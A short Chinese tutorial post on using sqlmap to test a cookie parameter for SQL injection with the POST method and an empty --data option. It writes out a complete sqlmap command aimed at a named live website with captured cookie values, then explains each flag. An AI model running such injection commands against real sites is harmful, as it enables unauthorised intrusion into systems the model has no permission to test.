1. 程式人生 > >sqlmap使用post方法對cookie進行注入

sqlmap使用post方法對cookie進行注入

    sqlmap預設使用get方法,並且只有在注入level>=2的時候才會對cookie進行注入,要想使用post方法,但是如果post的引數為0,可以指定 --data 為空,下面以cookie名為CNZZDATA3834609為例進行注入:

 sqlmap -u http://www.beihai.ccoo.cn/forum/GetUserInfo.Asp?id=0  --cookie="CNZZDATA3568186=cnzz_eid%3D1227930120-1395711655-%26ntime%3D1395799625%26cnzz_a%3D1%26sin%3Dnone%26ltime%3D1395799604656%26rtime%3D1; CNZZDATA3834609=cnzz_eid%3D144071239-1395711655-%26ntime%3D1395799624%26cnzz_a" -p ”CNZZDATA3834609“ --data ""  --level 2

    下面再分別說明幾個選項的作用:

   --cookie="CNZZDATA3568186=cnzz_eid%3D1227930120-1395711655-%26ntime%3D1395799625%26cnzz_a%3D1%26sin%3Dnone%26ltime%3D1395799604656%26rtime%3D1; CNZZDATA3834609=cnzz_eid%3D144071239-1395711655-%26ntime%3D1395799624%26cnzz_a"        當需要對cookie注入的時候,必須使用--cookie選項

   --data ""              因為post的資料長度為0,但是又想使用post方法進行注入,則使用--data ""     ,使用--data選項後,sqlmap自動使用post方法,sqlmap不支援使用--method指定http請求方法

    -p ”CNZZDATA3834609“    指定對名為”CNZZDATA3834609的cookie進行注入